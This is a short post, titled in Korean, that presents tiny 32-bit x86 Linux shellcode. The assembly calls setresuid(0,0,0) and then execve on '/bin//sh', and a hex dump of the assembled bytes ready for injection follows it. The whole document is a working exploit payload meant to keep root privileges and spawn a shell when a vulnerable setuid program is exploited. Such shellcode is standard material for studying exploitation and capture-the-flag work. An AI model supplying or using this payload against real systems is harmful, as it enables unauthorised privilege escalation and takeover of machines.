setresuid 를 포함한 tiny shellcode

$ cat priv_shell.s
BITS 32
global _start

_start:
;setresuid(uid_t ruid, uid_t euid, uid_t suid)
xor ebx, ebx  ; root ruid = 0
xor ecx, ecx  ; root euid = 0
xor edx, edx ; root suid = 0
xor eax, eax
mov al, 0xa4 ; setresuid call number = 0xa4(164)
int 0x80

;int execve(const char * filename, char * const argv[], char * const envp[])
; execve("/bin//sh", ["/bin//sh", 0x0], [ 0x0 ]);

xor eax, eax  ; eax = 0
push eax
push '//sh'
push '/bin'   ; "/bin//sh", 0x0

mov ebx, esp  ; const char * filename = "/bin//sh", 0x0
push eax
mov edx, esp  ; char * const envp[] = [ 0 ]
push ebx
mov ecx, esp  ; char * const argv[] = [ "/bin//sh", 0 ]
mov al, 11
int 0x80


$ xxd priv_shell
0000000: 31db 31c9 31d2 31c0 b0a4 cd80 31c0 5068  1.1.1.1.....1.Ph
0000010: 2f2f 7368 682f 6269 6e89 e350 89e2 5389  //shh/bin..P..S.
0000020: e1b0 0bcd 80                             .....